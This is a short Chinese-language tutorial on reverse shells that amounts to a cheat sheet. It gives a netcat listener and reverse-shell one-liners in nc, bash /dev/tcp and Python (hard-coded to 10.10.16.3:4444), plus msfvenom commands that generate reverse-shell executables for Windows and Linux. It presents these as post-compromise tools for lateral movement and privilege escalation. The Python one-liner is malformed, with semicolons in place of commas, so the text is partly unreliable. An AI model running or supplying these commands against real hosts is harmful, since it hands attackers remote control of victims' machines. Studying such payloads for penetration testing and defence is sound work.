Reverse shell主要用意是將目標主機的shell回彈至駭客自己的電腦裡,在取得存取權之後大部分會利用reverse shell繼續之後的動作,例如橫向移動(lateral movement)或是提權(privilege escalation)。
Reverse shell是先由駭客先監聽某個特定的port,接著在受害主機裡輸入指令,讓受害主機主動與駭客的主機連線,駭客就能夠直接輸入指令在目標裡執行。
由於受害主機能夠執行reverse shell的方法有很多種,這個就不列舉靶機說明,將依照不同語言進行講解。
通常駭客所使用的大部分都是kali,因此監聽port的方式大致相同。
nc -lvnp 4444
上列程式碼是監聽駭客主機的port 4444,-l
指定為監聽模式,-v
指定將結果詳細列出,-n
只允許數字的ip位置,ipv6就不接受,-p
指定特定的port。
nc [ip] 4444 -e /bin/sh
如果目標靶機的OS是linux,就也能利用nc對駭客主機連線,且port為4444。-e
為前面連線成功後執行的程式,所以當與駭客自己的主機連線成功後,就會執行目標主機的shell。
##1.
bash -c "bash -i >&/dev/tcp/[ip]/[port] 0>&1"
##2.
bash -i >&/dev/tcp/[ip]/4444 0>&1
執行上述指令將利用tcp與主機ip為[ip]的port 4444連線,[ip]與[port]須依照主機不同修改。
python3 -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.3",4444));subprocess.call(["/bin/sh","-i"];stdin=s.fileno();stdout=s.fileno();stderr=s.fileno())' &
##目標主機為windows系統
msfvenom -p windows/shell_reverse_tcp LHOST=[ip] LPORT=4444 -f exe > reverse.exe
## 目標主機為linux系統
msfvenom -p linux/x86/shell_reverse_tcp LHOST=[ip] LPORT=4444 -f elf >reverse.elf
依據目標主機作業系統不同,也需要不同方式進行reverse shell,windows系統產生exe執行檔,linux系統則是產生elf檔。
除了上述四個方法從被害主機回彈shell至駭客自己的電腦外,還有php、java、golang等,這個網站reverse shell generator能夠幫助你產生paylaod,這個github repo也歸納了許多reverse shell的paylaod。
我的介紹到此,謝謝:)